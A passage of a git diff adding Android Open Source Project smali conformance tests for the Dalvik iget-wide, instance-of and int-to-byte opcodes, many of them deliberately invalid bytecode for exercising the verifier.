+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_12.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_12;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali
new file mode 100644
index 0000000..36db0c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_13.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_13;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali
new file mode 100644
index 0000000..b245fab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_15.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali
new file mode 100644
index 0000000..4b8dbc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_16.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_16;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali
new file mode 100644
index 0000000..f4a381c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_17.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali
new file mode 100644
index 0000000..00c0bd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_18.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali
new file mode 100644
index 0000000..f82eb67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_19.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_19;->i1:F
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali
new file mode 100644
index 0000000..fc1c46e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_2.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_2.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  val:D
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       
+       const-wide v0, 123.0
+       iput-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       iget-wide v1, v3, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_2;->val:D
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali
new file mode 100644
index 0000000..5712f52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_20.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_20;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali
new file mode 100644
index 0000000..6c8708f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_21.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali
new file mode 100644
index 0000000..95aae39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_3.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-wide v3, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_3;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali
new file mode 100644
index 0000000..a9b5fb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_30.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;
+    iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_30;->st_i1:J
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali
new file mode 100644
index 0000000..4fa811d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_31.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_31;->st_i1:J
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali
new file mode 100644
index 0000000..18b4ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_35.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_35.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 2
+       iget-wide v0, v1, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubProtectedField:J
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali
new file mode 100644
index 0000000..1fbf289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_4.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali
new file mode 100644
index 0000000..3478cf0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_5.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali
new file mode 100644
index 0000000..e98a056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_6.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali
new file mode 100644
index 0000000..541cb50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_7.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali
new file mode 100644
index 0000000..95479d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_8.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali
new file mode 100644
index 0000000..2304f4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_9.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       const v0, 0
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;->i1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali
new file mode 100644
index 0000000..79b9c9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_instance_of_8.java"
+.class  public Ldot/junit/opcodes/instance_of/d/T_instance_of_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const-wide v0, 1234
+       check-cast v0, Ljava/lang/String;
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali
new file mode 100644
index 0000000..fa05450
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_1.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali
new file mode 100644
index 0000000..8d6de7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
